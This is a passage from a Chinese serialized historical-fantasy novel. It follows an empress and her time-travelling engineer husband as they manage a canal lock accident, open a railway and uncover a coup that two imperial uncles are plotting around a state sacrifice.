慕容嫣立于舱室窗边,观察良久,见闸官虽竭力维持,却因船多闸窄,调度颇为吃力,等待的船夫们焦躁不安,怨声隐约可闻。 她微微蹙眉,对身旁的林臻道:“漕运之效,不仅在于干线畅通,更在于这些节点的效率与公平。看此情形,恐误农时,亦增漕耗。朕需亲去看看。” 林臻知她心意已决,点头道:“我陪你。此地人员混杂,需加派护卫。” 慕容嫣却摇头:“不必兴师动众,反令百姓拘谨,看不到实情。便你我与两名侍卫,换上常服……” 她话未说完,目光落在自己身上那明黄的缂丝凤袍上,顿了顿,改口道,“罢了,常服恐难以立威,闸官小吏未必尽心回话。便如此去吧。” 她决定就以这身帝王朝服前往!她要让那些基层官吏和百姓都清楚地看到,皇帝的目光,正注视着这最细微的民生节点。 命令传下,龙舟缓缓靠近安山闸官署专用的小码头。当地闸官早已得报,吓得魂飞魄散,连滚爬爬地率众跪迎于码头之上。 慕容嫣在林臻的陪同下,步出舱室,再次踏足陆地。那两丈长的华丽拖尾在宫女们的托捧下,于这简陋的码头岸上铺展开来,与周围杂乱的环境、粗糙的船只、以及那些满面风霜的船夫们形成了极其强烈的视觉对比。 所有跪着的、乃至远处船上远远望见的人,都惊呆了,随即是无比的敬畏与惶恐——他们从未想过,皇帝会亲临这等地方! “平身。”慕容嫣的声音透过珠旒传来,平静无波,“引朕去看看水闸调控情形。” 闸官战战兢兢地起身,躬身在前引路。慕容嫣缓步而行,那沉重的拖尾在坑洼不平的泥土地面上移动,需要宫女们格外小心。林臻紧随其后,目光锐利地扫视四周。 她直接走到了闸口最繁忙处,立于高处,俯瞰着下方等待过闸的船只长龙,以及闸吏们如何指挥调度。她看得非常仔细,不时询问闸官几个问题:每日过船数量、不同船型的过闸耗时、农忙时节如何协调灌溉与漕运用水、船夫等待期间生计如何…… 闸官起初紧张得语无伦次,但在慕容嫣清晰冷静的追问下,渐渐也能答出些实情。周围跪着的船夫们更是大气不敢出,只能用眼角偷偷瞥着那抹耀眼夺目的明黄身影和华美得不像真实的江山拖尾。 问询片刻,慕容嫣心中已明了症结所在:调度手法陈旧,效率低下;且存在暗中优容富户商船、轻慢普通民船的现象。 她正欲开口,忽然,下方闸口处传来一阵骚动与惊呼! 只见一艘满载粮食的漕船因操作不当,加之水流较急,在过闸时船身猛地打横,竟卡在了闸门之间!船身倾斜,粮食包簌簌落入水中,船夫惊慌失措,大声呼救! 更危险的是,这艘船卡住,后面所有船只都无法通行,眼看就要造成严重堵塞甚至碰撞! 闸官和闸吏们顿时慌了手脚,大喊大叫,却一时不知该如何是好! 慕容嫣眸光一凝,没有丝毫犹豫,竟迈步就要向闸口边缘走去,似乎想更清楚地指挥应对! “陛下小心!”林臻急忙劝阻,那边地势陡峭,且人群慌乱。 “无妨!”慕容嫣语气果断。她步伐沉稳,快速走到闸口旁,那长长的拖尾随之移动,宫女们拼命跟上,努力在杂乱的环境中保持其不染尘埃。 慕容嫣立于高处,扫了一眼卡住的船只和混乱的水面,瞬间判断出情势。她并未亲自指挥细节——那非她所长——而是猛地转头,对那慌乱的闸官沉声喝道:“慌什么!立刻令所有闸吏,依朕旨意行事!” 她的声音蕴含着内力与久居上位的威严,瞬间压过了现场的嘈杂!那闸官如同找到了主心骨,连忙跪听。 “第一,立刻放下备用拦水板,减缓上游来水冲力!” “第二,调最近的两艘空船,用缆绳从两侧固定卡住之船,防止其继续倾斜沉没!” “第三,组织水性好者,下水协助船夫,将最易滑落的粮包先行推回舱内或移至他船!” “第四,令后方所有船只,原地落锚,不得妄动,等待调度!” 她语速极快,条理清晰,每一道命令都直指要害。 闸官听得一愣一愣,随即恍然大悟,连声应诺,连滚带爬地跑去传令。 在慕容嫣的权威指挥下,混乱的场面迅速得到控制。闸吏们有了明确指令,立刻行动起来。备用拦水板放下,水流减缓;两艘空船迅速靠拢固定;几名水性好的闸吏和船夫跳下水,开始处理粮包;后面的船只也陆续稳定下来。 慕容嫣一直立于原地,密切关注着救援进展,不时根据情况补充一两条指令。江风吹拂着她的珠旒和袍袖,那明黄的身影和铺展的江山拖尾,成为了这片混乱水域中最稳定、最令人心安的存在。所有忙碌的人们,偶尔抬头看到那抹身影,心中便仿佛有了底。 林臻守在她身侧,一方面警惕四周,另一方面,看着她在危急时刻展现出的决断力与掌控力,眼中充满了骄傲与爱意。他的妻子,无论是庙堂之高,还是江湖之远,总能成为绝对的核心。 约莫半个时辰后,卡住的漕船终于被成功解救出来,虽然损失了些许粮食,但船体无损,人员无伤,航道也恢复了畅通。 船夫死里逃生,跪在船头朝着慕容嫣的方向不住磕头。 危机解除,慕容嫣这才微微松了口气。 她转向那面如土色的闸官,语气已然变冷:“今日朕在此,尚可应急。若朕不在,尔等待如何?调度无方,临机混乱,乃至有优亲厚友之嫌,此乃尔等之过!” 闸官扑通跪地,磕头如捣蒜:“臣罪该万死!臣罪该万死!” 慕容嫣沉吟片刻,道:“罚你半年俸禄,以儆效尤。即刻起,仿照朕方才之法,制定详尽的应急章程,张贴于闸口显眼处,令所有闸吏熟记,所有船周知!调度之法,亦需改进,朕回京后,会令工部派人下来核查督导。若再有懈怠,严惩不贷!” 闸官如蒙大赦,又觉羞愧无比,连连领旨。 慕容嫣又看向那些远远观望、面露感激的船夫,对随行内侍道:“赏今日下水救援的闸吏与船夫每人十两银子,那艘受损漕船的损失,由官仓拨付补偿。” 命令传下,顿时引来一片感恩戴德之声。 处理完这一切,慕容嫣才转身,准备返回龙舟。经过这一番走动、站立和指挥,那沉重的凤袍和巨大的拖尾显然给她带来了不小的负担,她的步伐稍显缓慢,额角也沁出了细密的汗珠。 林臻立刻上前,不动声色地让她将一部分重量依靠在自己臂弯上,低声道:“累了?” “嗯,”慕容嫣轻轻应了一声,借着宽大衣袖的遮掩,轻轻捏了捏他的手腕,“回去得好好歇歇。这身衣裳,真不是用来走泥地、站河边的。” 然而,当她登上龙舟,回望那片逐渐恢复秩序的闸口,以及那些依旧跪伏在地、目送着她的官吏与百姓时,她的眼中闪过一丝满足。 回到舱室,卸下珠冠,她看着那件沾了些许尘土痕迹的凤袍拖尾,对林臻笑道:“虽累,却也值得。夫君,你看,这江山社稷,有时便需要这身衣服去镇一镇,去管一管。” 林臻为她递上温茶,柔声道:“你以帝王之尊,亲临微末之处,解民倒悬,他们必永感于心。” 龙舟再次起航。 慕容嫣倚窗而坐,望着窗外恢复畅通的河道,轻声道:“京畿在望了。不知朝中,又积压了多少奏章,等着朕这身衣服去批阅呢。” 那件绣着万里江山的两丈拖尾,静静地铺在一旁,仿佛也沾染了运河的水汽与人间烟火气,变得更加厚重而真实。 第823章 密谋造反的皇叔 晨曦初破,金銮殿内一百零八根朱漆巨柱在朝晖中熠熠生辉。 慕容嫣端坐于九凤金椅之上,椅背雕着展翅翱翔的金凤,凤目镶嵌着稀世红宝石。她一袭正红凤袍曳地两丈,金线绣成的百鸟朝凤图随着她的动作流光溢彩,袍角缀着细小的珍珠,行走时如凤尾轻摆。 十二串东珠冕旒垂落额前,遮不住那双威仪天下的眼眸。慕容嫣指尖轻抚金椅扶手上的凤凰雕刻,那是大乾历代女帝传承的象征。 “众卿平身。” 清越的声音在大殿中回荡,文武百官依礼起身分列两侧。 左侧以宰相张文渊为首的传统文官袍袖宽大,右侧则站着不少穿着新式窄袖朝服的年轻官员——这些都是近年来由女帝和林臻提拔的技术官僚。 “启奏陛下,”工部尚书出列躬身,手持的玉笏上刻着凤凰纹样,“京畿铁路昨日已全线贯通,首列蒸汽机车轩辕号辰时自南门发车,预计午时便可抵达百里外的河间府。” 朝堂上响起一阵细微的骚动。老臣们交换着眼神,有人捋须颔首,有人蹙眉不语。 慕容嫣唇角微扬,凤目扫过群臣:“林爱卿又在工部通宵达旦了?” 话音未落,殿门外忽然传来清朗的应答:“臣幸不辱命!” 众人回首,但见林臻大步踏入殿中。 他今日未着朝服,反而穿着一身藏青工装,袖口还沾着些许油污,与金碧辉煌的大殿格格不入。几个老臣忍不住摇头侧目。 “臣刚随轩辕号试运行归来,”林臻向御座躬身一礼,抬头时与慕容嫣交换了一个只有彼此才懂的眼神,“往返二百里,仅用两个时辰,较最快驿马还快了三倍有余。” 慕容嫣眸中闪过笑意,面上却仍持着帝王威仪:“林爱卿劳苦功高。不过今日朝会,你迟到了。” “臣知罪。”林臻嘴上请罪,眼里却带着几分狡黠,“愿将功折罪,请陛下与诸位同僚移驾南门,观轩辕号正式通车盛况。” 没等老臣们反对,慕容嫣已拂袖起身,凤袍如云霞铺展:“准奏。” 南门外人声鼎沸。黑黢黢的蒸汽机车头悬挂红绸,如同巨兽般喷吐着白烟。百姓远远围观,既惊且畏,小贩趁机兜售着“辟火车符”。 当仪仗出现时,人群哗地跪倒一片。 慕容嫣换了一袭较简便的金红凤袍,仍曳地丈余,袍上绣着展翅凤凰,在林臻搀扶下登上前方高台。 台前悬挂着凤凰旗幡,在风中猎猎作响。 “不必多礼。”慕容嫣抬手,腕间金镶玉凤凰手镯熠熠生辉,目光却落在机车头上,“夫君,这便是你说的工业的力量?” 最后四字她压低了声音,只有身旁的林臻能听见。 “这才刚刚开始,嫣儿。”林臻指向机车,声音透着兴奋,“一旦铁路遍布全国,政令朝发夕至,军队调度迅捷,商贾往来便利大乾将迎来前所未有的盛世。” 慕容嫣凝视着喷吐蒸汽的钢铁巨兽,轻轻颔首:“但愿如你所言。” 通车仪式顺利进行。当机车嘶鸣着启动时,围观人群发出震天惊呼,不少人当真跪拜起来,口称“铁龙显灵”。 林臻正兴致勃勃讲解着蒸汽原理,忽见一名小太监匆匆上台,在慕容嫣耳边低语。女帝的笑容微微收敛,点了点头。 “两位皇叔称病不来?”仪式结束后,返回宫中的马车里,慕容嫣轻蹙蛾眉。马车内壁雕着精美的凤凰图案,座椅铺着金凤绣垫。“祭天大典在即,他们这时同时染恙。” 林臻为她斟上一杯新研制的花茶,茶盏是官窑特供的凤穿牡丹纹样:“雍王和靖王最近确实少见出门。听说雍王整日在府中养病,靖王则常往皇陵跑,说是祭奠先祖。” 慕容嫣接过茶盏,指尖无意识地摩挲着杯壁上的凤凰纹样:“自从推行新政,削了宗室特权,两位皇叔便一直心存芥蒂。此次铁路贯通,又占了雍王封地大片良田。” “补偿款是按市价三倍发放的。”林臻摇头,“而且铁路经过后,沿线地价都已翻番,他们实则获利颇丰。” “皇叔们不看这些。”慕容嫣轻叹,“他们只看到祖产被贱卖,皇室威严被这些钢铁怪物践踏。” 车驾忽然一顿,外面传来喧哗声。林臻掀帘一看,只见几个书生模样的人跪在驾前,手举血书。 “陛下!铁路惊扰祖宗陵寝,蒸汽污浊天地清气,求陛下废止妖术,还我清明乾坤!” 侍卫正要驱赶,慕容嫣却抬手制止。她缓缓下车,两丈凤袍在身后铺展如云霞,威仪万千。 “尔等所言,朕已知晓。”她的声音平静却带着不容置疑的威严,“然天命在变,大道惟新。若先帝见今日大乾铁骑纵横万里,粮仓充盈,百姓安居,亦当欣慰。” 她目光扫过跪地众人,发间金凤步摇微微颤动:“念尔等忠心可嘉,不予责罚。退下吧。” 书生们被帝王气场所慑,讷讷不能言,只得叩首退去。 回到车上,慕容嫣揉了揉眉心:“这月第几起了?” “第三次。”林臻递回茶盏,盏上凤凰纹路在光下流转,“前两次是手工织户抗议纺织厂抢生计,已经安置妥当了。这次像是有人刻意煽动。” 慕容嫣眸光一凛,凤眸中闪过一丝锐利:“查。” 是夜,养心殿内烛火通明。慕容嫣批完最后一本奏折,终于放下朱笔。笔架上雕刻着凤凰衔珠的图案,与她发间的凤钗相映成趣。 林臻正伏案绘制着什么图纸,慕容嫣走近一看,却是些奇形怪状的铁器。 “这是何物?” “蒸汽动力织布机改进方案。”林臻抬头微笑,“现在那批机器效率还是太低,而且容易故障。等我改进完毕,产量能再翻一番” 话未说完,慕容嫣已从身后环住他,下巴抵在他肩上:“夫君整日就知道这些铁疙瘩,可知今日是什么日子?” 林臻一愣,忽然拍额:“啊!是我们成婚三周年!” 慕容嫣轻笑,转到身前坐入他怀中:“还以为你忘了呢。” 烛光下,她褪去了日间的帝王威仪,眉眼间竟有几分少女娇憨。林臻心中柔软,将她搂紧:“怎会忘记?三年前今日,我还在怀疑是不是一场梦” 他确实曾经怀疑。一觉醒来从21世纪工程师变成架空王朝的摄政王之孙,还被指婚给女帝。三年过去,他逐渐适应了这个身份,并用现代知识推动了大乾的工业革命。 慕容嫣把玩着他衣襟上的盘扣,那扣子竟也是小小的凤凰造型:“若真是梦,朕也不愿醒了。如今大乾国富民强,边关安宁,皆有夫君之功。” “是陛下圣明,敢用我这奇技淫巧。”林臻玩笑。 “又胡说。”慕容嫣嗔道,随即正色,“只是今日之事让我忧心。两位皇叔称病不出,书生跪谏,恐非吉兆。” 林臻抚着她的长发,发间散发着淡淡的凤髓香:“改革总会触动某些人利益。但大势所趋,非几人所能阻挡。” “但愿如此。”慕容嫣轻叹,“祭天大典在即,但愿不要出什么变故。” 窗外忽起风声,吹得烛火摇曳。慕容嫣莫名一颤,将林臻搂得更紧了些。 而此时,雍王府密室内,烛光也正摇曳。墙上悬挂着先祖御赐的金凤图,此刻在昏暗光线下显得面目模糊。 “铁路已成,下一步便是全面推行那电报了。”雍王慕容弘将一杯酒重重顿在案上,酒杯上雕着蟠龙纹样——这是先帝所赐,暗示他本该有的帝王身份。“再这般下去,祖宗基业都要被那林臻败光!” 对面,靖王慕容璋缓缓捋须:“二哥稍安勿躁。祭天大典将至,正是我等谋划之时。” 慕容弘冷笑:“陛下被那妖人蛊惑,推行所谓新政,削宗室特权,夺我等封地如今连皇陵附近都要修铁路!四弟还能坐得住?” “坐不住又如何?”慕容璋眼中闪过寒光,“除非,” “除非换个人坐那凤椅。”慕容弘压低声音,“陛下无子,若有不测,按祖制当由皇叔继位。” 烛火噼啪一声,映得两人面色阴晴不定。 窗外,夜鸦惊飞,掠过王府屋檐上的吻兽,那些本该是凤凰的雕像,不知何时已被换成了龙的形状。 第824章 木制凤凰 养心殿内烛影摇曳,慕容嫣端坐于凤纹书案前,面前摊开着一幅大乾疆域图。金线绣制的铁路线路如血脉般在图上延伸,最新贯通的京畿线用朱笔特意标出。 “陛下,该用膳了。”侍女轻声提醒,手捧的银盘上放着青玉碗盏,碗身雕着凤凰衔芝的图案。 慕容嫣揉了揉眉心,凤袍袖口滑落,露出腕间一对金丝嵌翡翠凤凰镯:“先放着吧。林大人可回宫了?” “回陛下,林大人方才遣人来说,今夜要在工部查验新式织机,晚些回来。” 慕容嫣轻叹一声,正要执笔继续批阅奏折,忽见殿外一道身影匆匆而来。林臻披着夜色入殿,肩头还沾着些许雨露。 “怎的这时回来了?”慕容嫣起身相迎,两丈凤袍曳地,在烛光下流转着金红光泽。 林臻从怀中取出一卷图纸,面上带着几分凝重:“嫣儿你看这个。” 图纸在凤纹书案上铺开,是一幅改进后的蒸汽织机设计图,但旁边却用朱笔画着几个奇怪的符号。 “这是在工部图纸堆里发现的。”林臻指着那些符号,“看起来像是某种密文。” 慕容嫣俯身细看,发间金凤步摇垂下的珠串轻轻晃动:“这纹样...似是皇室内务所用的标记。” 二人正说话间,殿外忽然传来通报:“靖王府送来贺礼,恭祝陛下与林大人成婚三周年。” 慕容嫣与林臻对视一眼,皆看到对方眼中的诧异。靖王称病不朝,却记得他们的婚庆之日? 八个锦衣太监抬着四口沉香木箱入殿,箱面雕着百鸟朝凤图,却微妙地将凤凰雕得略显卑微。打开箱盖,顿时满室生辉。 第一箱是东海珍珠,个个圆润饱满;第二箱是西域宝石,红蓝宝石交相辉映;第三箱是北疆貂皮,毛色油亮;第四箱却是些稀奇古怪的机械玩偶。 “靖皇叔真是费心了。”慕容嫣语气平淡,指尖轻轻划过一颗夜明珠,“只是这般重礼,朕心难安。” 为首的太监躬身道:“靖王殿下说,近日身子不适,未能参加铁路通车大典,特备薄礼以表歉意与祝贺。” 待太监退下,林臻仔细查验礼箱,忽然在机械玩偶中发现一个特别之物——一只木制凤凰,翅膀却能规律摆动。 “这机制...”林臻拆开凤凰腹部,里面竟是精巧的齿轮组,“这工艺远超当前水平。” 慕容嫣拈起那只木凤凰,凤目微眯:“靖王府中,何时有这般巧匠?” 夜深人静,慕容嫣却辗转难眠。她轻声道:“夫君,我总觉得不安。靖皇叔此举太过反常。” 林臻揽过她的肩,发现她指尖微凉:“明日我让锦衣卫去查查靖王府近来招纳的门客。” “小心些,莫要打草惊蛇。”慕容嫣倚在他怀中,凤袍松散,金线绣制的凤凰在暗夜中若隐若现,“祭天大典在即,不能出任何差错。” 次日朝会,慕容嫣特意换了一袭玄黑凤袍,袍上用金线绣着暗凤纹样,庄重中带着威严。两丈拖尾拂过玉阶,发出沙沙声响。 “众卿可有事奏?”她端坐凤椅,目光扫过群臣。 文官队列中走出一人:“陛下,臣听闻京畿铁路贯通,万民欢腾。然近日有书生跪谏,言铁路惊扰陵寝,不知陛下如何处置?” 慕容嫣淡淡道:“铁路选址皆避让皇陵十里之外,何来惊扰之说?至于那些书生...”她顿了顿,“朕已命人查明,其中多有受人指使。” 朝堂上一片寂静。忽然殿外传来急报:“八百里加急!河间府段铁路遭人破坏,枕木被焚,铁轨移位!” 满朝哗然。林臻立即出列:“臣请旨亲往查验!” 慕容嫣沉吟片刻:“准奏。另着锦衣卫指挥使陆炳协同调查。” 退朝后,慕容嫣特召林臻至御书房:“此事绝不简单。河间府乃靖王封地,偏偏在此刻出事。” 林臻皱眉:“我即刻动身。嫣儿在宫中务必小心。” “带上凤羽卫。”慕容嫣从腰间取下一枚金凤令牌,“见此令如见朕,可调遣沿途兵马。” 三日后,林臻带回调查结果。御书房内,他风尘仆仆,却目光锐利:“确系人为破坏,而且用的是专业工具。现场发现这个——” 他取出一块烧焦的木牌,上面隐约可见半只雕刻的凤凰图案。 慕容嫣接过木牌,指尖微微一颤:“这是...皇室工坊的标记。” 正在此时,侍女匆匆入内:“陛下,雍王府送来请帖,邀陛下与林大人明日过府赴宴,说是得了上好的江南鲥鱼,要请陛下尝鲜。” 慕容嫣与林臻对视一眼,皆看到对方眼中的警惕。 “回复雍皇叔,朕明日必准时赴宴。” 待侍女退下,林臻低声道:“嫣儿,这怕是鸿门宴。” 慕容嫣轻抚凤袍上的绣纹,眼神渐冷:“朕倒要看看,两位皇叔究竟要唱什么戏。” 她起身走向窗边,望着院中那棵百年梧桐——传说凤凰非梧桐不栖。 “夫君可知,朕为何独爱凤纹?”她忽然问道。 林臻摇头。 “凤凰涅槃,浴火重生。”慕容嫣转身,玄黑凤袍在阳光下泛着金光,“朕继位之初,朝局动荡,两位皇叔皆以为女子可欺。如今他们若还想试探...” 她没有说下去,但眸中闪过的锐芒让林臻明白:那只栖于梧桐的凤凰,早已准备好迎接任何风雨。 是夜,雍王府内灯火通明。慕容弘与慕容璋对坐弈棋,棋盘上黑白子杀得难解难分。 “四弟这步棋,走得妙啊。”慕容弘落下一子,“先是献礼示好,再是破坏铁路嫁祸,明日宴席上,倒要看陛下如何应对。” 慕容璋轻笑:“二哥府上的鲥鱼才是重头戏。只要陛下尝了那鱼...” 二人相视而笑,棋盘上,黑子已然形成合围之势。 窗外夜风骤起,吹得屋檐下的风铃叮当作响。那风铃的形状,赫然是一只只倒悬的铜凤。 第825章 切记先发制人 晨光熹微,宫墙内传来清脆的钟鸣声,回荡在重重殿宇之间。慕容嫣立于鎏金镜前,由八名侍女悉心打理朝服。 今日她择了一袭绛红金凤朝服,以江南进贡的云锦为底,用金线盘绣九凤朝阳图。每只凤凰形态各异,或引颈长鸣,或展翅欲飞,凤目以鸽血红宝石镶嵌,在晨光下流转着灼目光华。 两丈余长的拖尾铺展在身后,以暗金线密绣祥云纹,边缘缀着细小的珍珠,行走时如凤凰翱翔于九天之上,珠玉相击发出清脆声响。 发髻高绾,戴着一顶赤金点翠凤冠,冠上九凤衔珠,额前垂下的东珠帘微微晃动,半掩着她威仪天成的面容。 “陛下今日这般装扮,未免太过隆重。”林臻步入内殿,身着藏青朝服,袖口绣着银凤暗纹。他细心地为慕容嫣整理腰间玉带,带上雕着精致的凤凰衔环图案。 慕容嫣对镜描眉,镜框是精雕的飞凤逐日图,镜中映出她沉静的面容:“既是赴宴,便要有赴宴的架势。雍皇叔最重礼数,朕若简装前往,反倒落他口实。”她转身时,拖尾扫过光洁的金砖地面,发出沙沙声响,“况且,朕要让他明白,谁才是真凤临朝。” 銮驾早已候在宫门外,仪仗盛大。十六名宫女手持凤尾宫扇在前开道,侍卫举着金凤旗幡,乐工奏《百鸟朝凤》曲。京城百姓闻讯而来,夹道跪迎,皆惊叹女帝凤仪。 “陛下万岁!”呼声此起彼伏,慕容嫣端坐銮驾之中,微微颔首示意。林臻骑马随行在侧,目光敏锐地扫过人群,留意着任何异常。 雍王府坐落于京城东侧,朱门高墙,门前一对石狮威武雄壮。慕容弘率众跪迎,他今日穿着亲王常服,袍上绣着四爪金龙——这是先帝特赐的恩典,允他着龙纹,此刻在阳光下格外醒目。 “陛下驾临,蓬荜生辉。”慕容弘躬身行礼,目光却不着痕迹地扫过慕容嫣身后的林臻,“林大人也来了,真是难得。” 林臻微笑还礼,举止从容:“雍王殿下盛情,岂敢不来。况且殿下府上的江南鲥鱼,臣早已向往已久。” 慕容弘眼底闪过一丝莫测的光,侧身引路:“宴席已备好,陛下请。” 宴设于王府花园的临风水榭中。时值初夏,池中荷花初绽,淡香袭人。水榭四面的竹帘卷起,凉风习习,可见锦鲤在池中游弋。然而细看之下,水榭四周的侍卫似乎过多了一些,且个个身形健硕,目光锐利。 慕容嫣端坐主位,拖尾铺展在身后,如凤凰展翅。她目光扫过宴席,见菜肴琳琅满目,皆是珍馐美馔。忽然,她唇角微扬:“靖皇叔不是病着?怎的也来了?” 只见靖王慕容璋从屏风后转出,面色确实有些苍白,行走时还需侍从搀扶:“听闻陛下驾临,臣抱病也要来请安。多日不见陛下,心中挂念得很。” 慕容嫣眼底掠过一丝冷光:“两位皇叔今日倒是齐整。前日朝会,还听说二位都病着,今日看来,气色倒是不错。” 慕容弘连忙打圆场:“四弟确实是抱病在身,但听说陛下要来,强撑着起来。陛下快请入座,尝尝新到的江南鲥鱼。” 宴过三巡,歌舞助兴。慕容弘果然命人呈上鲥鱼。那鱼盛在青玉盘中,鱼身银亮,香气扑鼻,配以葱姜蒜蓉,令人食指大动。 “这是今日晨间刚到的江南鲥鱼,用冰一路镇着送来。”慕容弘亲自执筷,姿态恭敬,“陛下请尝鲜。” 慕容嫣却不急动筷,反而问道:“听闻河间府铁路遭人破坏,恰在皇叔封地境内。不知皇叔可曾听闻?据说破坏者手法专业,非寻常人所为。” 慕容弘筷子微微一滞,随即恢复如常:“臣也有所耳闻。已命府中侍卫协助调查,定要揪出那胆大妄为之徒。竟敢在陛下推行新政之际捣乱,实在罪该万死。” “哦?”慕容嫣挑眉,凤眸中闪过一丝锐光,“皇叔以为,是何人所为?是否与那些反对铁路的书生有关?” 此时林臻忽然插话,从袖中取出一物:“在现场发现此物,似是皇室工坊所出。”他展开绢布,露出那块烧焦的木牌,上面的半只凤凰图案清晰可见。 慕容璋咳嗽几声,声音虚弱:“这...这确是工坊标记。但工坊近日为祭天大典赶制器物,出入人员繁杂,恐难查证。况且...”他顿了顿,“工坊虽归皇室管辖,但日常运作由臣负责,陛下莫非怀疑臣监管不力?” 慕容嫣目光扫过二人,忽然轻笑:“罢了,今日是来尝鲜的,莫让政务扫了兴。”她执起银筷,正要尝鱼,林臻却忽然道:“陛下近日脾胃不适,御医嘱戒腥膻。这鱼看来极鲜,不如由臣代尝?也好全了殿下的一片心意。” 慕容嫣会意,放下银筷:“倒是忘了这茬。那便有劳夫君了。”她转向慕容弘,笑意盈盈,“皇叔不会介意吧?” 慕容弘面色微沉,却不好阻拦:“自然...自然不会。” 林臻尝了一口,细细品味,赞道:“果然鲜美无比,江南鲥鱼名不虚传。”暗中却以袖中银针试毒,见针未变色,才微微点头示意。 宴至中途,丝竹声渐歇。慕容嫣忽道:“朕欲往皇叔府中佛堂进香,祈求祭天大典顺利。听说皇叔府中的观音像十分灵验。” 慕容弘连忙起身引路:“陛下请随臣来。”他目光与慕容璋交汇一瞬,后者微微颔首。 佛堂设在王府深处,香烟缭绕中供着一尊白玉观音,法相庄严。慕容嫣拈香跪拜,目光却不着痕迹地扫过佛堂角落——那里似有一道暗门,与墙壁融为一体,若非仔细观察难以发现。更让她起疑的是,隐约有金属碰撞之声从门后传来。 回宫途中,慕容嫣屏退左右,独留林臻在銮驾内。车厢宽敞,内壁镶金嵌玉,雕着百凤朝阳图。 “夫君可发现了?”她轻声问,指尖无意识地摩挲着袍上的金凤绣纹。 林臻点头:“佛堂后必有密室。那金属声似是兵器碰撞之音,绝非寻常器物。” “还有那鲥鱼。”慕容嫣冷笑,“江南至京城,快马加鞭也要五日。这鱼却鲜嫩如刚出水,除非...” “除非用了最新式的冷藏车。”林臻接口,“但冷藏车目前仅限官用,且数量有限,每一辆都有编号记录。” 二人对视一眼,皆看到对方眼中的凝重。慕容嫣沉吟片刻,忽然掀帘吩咐随行女官:“传朕口谕,命户部即刻清点所有冷藏车去向,三日内报上来。” “是。”女官领命而去。 銮驾行至宫门,忽见一骑快马疾驰而来。马上之人见銮驾,急忙下马跪拜:“陛下,边关八百里加急!” 慕容嫣命人取来军报,拆开一看,面色顿沉。林臻关切地问:“何事?” “北疆有异动。”慕容嫣将军报递给他,“草原三部突然集结,人数众多,目的不明。” 林臻细看军报,眉头紧锁:“北疆一直是雍王旧部掌控,此时部落集结,绝非巧合。”他忽然想起什么,“今日宴席上,靖王虽然称病,但臣观察他手指有墨迹,似是经常书写所致。而且他咳嗽时,中气十足,不似真病。” 慕容嫣凤眸微眯:“看来,两位皇叔是要唱一出大戏了。” 是夜,林臻秘密召见锦衣卫指挥使陆炳。暗室内烛火摇曳,墙上挂着大乾疆域图,用不同颜色标注着各路兵马驻防。 一炷香后,陆炳带来惊人消息:“雍王府近日确有大量冰块进出,远超常理。而且...”他压低声音,“臣安插的眼线回报,佛堂后的密室近日守卫格外森严,连日常打扫的仆役都不让靠近。” “继续盯紧。”林臻吩咐,“尤其是佛堂附近,但切记不可打草惊蛇。另外,查一下靖王府近日的文书往来,特别是与北疆的联系。” “是。”陆炳领命而去。 更深露重,慕容嫣却无睡意。她屏退侍女,独自凭栏望月,身上只披着一件轻纱凤纹寝衣。夜风拂过,衣袂飘飘,上面的银凤绣纹在月光下若隐若现。 “陛下。”女官匆匆而来,声音压低,“靖王府眼线传来密报。” 密报仅有一行字:“北疆有异动,草原部落集结,粮草充足,似有长期备战之意。” 慕容嫣掌心微凉。北疆一直是雍王旧部掌控,此时部落集结,绝非巧合。她忽然想起先帝临终之言:“嫣儿,你二位皇叔,皆非池中之物。他日若生异心,切记先发制人。” 月光如水,洒在她寝衣的银凤绣纹上,那只凤凰似乎展翅欲飞。 而此时的雍王府密室中,慕容弘与慕容璋正在验看新到的兵器。刀剑森寒,映着二人凝重的面色。 “祭天大典当日,禁军换防,是我们唯一的机会。”慕容弘抚过剑锋,声音低沉,“草原部落已集结边境,只待信号。届时内外呼应,大事可成。” 慕容璋却蹙眉:“今日陛下突然要进佛堂,是否发现了什么?我总觉得她今日来得突然,走得也匆忙。” “发现又如何?”慕容弘冷笑,“如今箭在弦上,不得不发。四弟莫非怕了?” “非是惧怕。”慕容璋摇头,“只是觉得陛下今日太过镇定,似有准备。还有那个林臻,看似随意,实则处处留心。今日他代尝鲥鱼,恐怕不是简单的脾胃不适。” 慕容弘正要开口,密室外忽然传来三声鸟鸣——这是有变的信号。 二人面色一变,急忙收拾兵器,恢复佛堂原状。慕容弘快步走出密室,只见心腹侍卫跪在门外:“殿下,方才发现有人潜入府中,轻功极好,转眼就不见了。” “废物!”慕容弘怒斥,“加强守卫,若有可疑人格杀勿论!” 窗外,一道黑影悄然掠过屋檐,如凤翔九天,转瞬消失在夜色中。那身影轻盈地落在邻街屋顶,揭开面纱,露出一张清秀面容——竟是慕容嫣身边的女官。 她从袖中取出一枚小巧的金属器件,仔细记录下方才所见,随即融入夜色,向皇宫方向疾行而去。 宫墙上,守夜侍卫的灯笼在风中摇曳,光影交错间,似有凤凰展翅的影子掠过重重宫阙,预示着一场即将到来的风暴。 第826章 凤栖梧桐,非为避风 五更鼓响,东方既白。慕容嫣起身时,宫人已备好朝服。今日她择了一袭玄黑为底、金凤盘翔的礼袍,袍身以暗金线绣出凤凰于飞图,凤尾迤逦两丈有余,边缘缀着墨玉珠片,行走时如暗夜流星划过长空。 “陛下今日穿得这般庄重。”林臻为她系上赤金凤纹腰封,指尖不经意触到她微凉的手。 慕容嫣对镜正了正九凤衔珠冠,冠上东珠在晨光中流转着温润光泽:“祭天大典在即,朕要亲自查验祭坛布置。况且...” 她转身时拖尾扫过地面,发出细微的沙沙声,“昨日雍王府之宴,让朕觉得该去太庙走走。” 銮驾出宫,仪仗肃穆。今日随行的除了凤羽卫,还有工部匠人与礼官。祭坛设于南郊,新修的铁路恰好从旁经过,传统祭台与现代铁轨形成奇妙对比。 工部尚书上前禀报:“陛下,祭台已按规制修缮完毕,铁路专为典礼暂停通行三日。” 慕容嫣颔首,目光却落在远处一群工匠身上:“那些是何人?” “是雍王府派来协助的匠人。”礼官忙答,“雍王殿下说祭天大典关乎国运,特遣府中最好的工匠来帮忙。” 林臻与慕容嫣交换一个眼神,随即笑道:“雍王殿下有心了。正好我带了些新式测量仪器,可一同查验祭台稳固。” 查验过程中,慕容嫣特意行至祭台最高处。从这里俯瞰,可见铁路如黑色长龙蜿蜒远去,而祭台四周的工匠们正在加固栏杆。忽然,她注意到几个工匠袖口隐约露出刺青——那是一只展翅黑凤的图案。 “回宫。”慕容嫣忽然道,玄黑凤袍在风中猎猎作响,“传钦天监正使。” 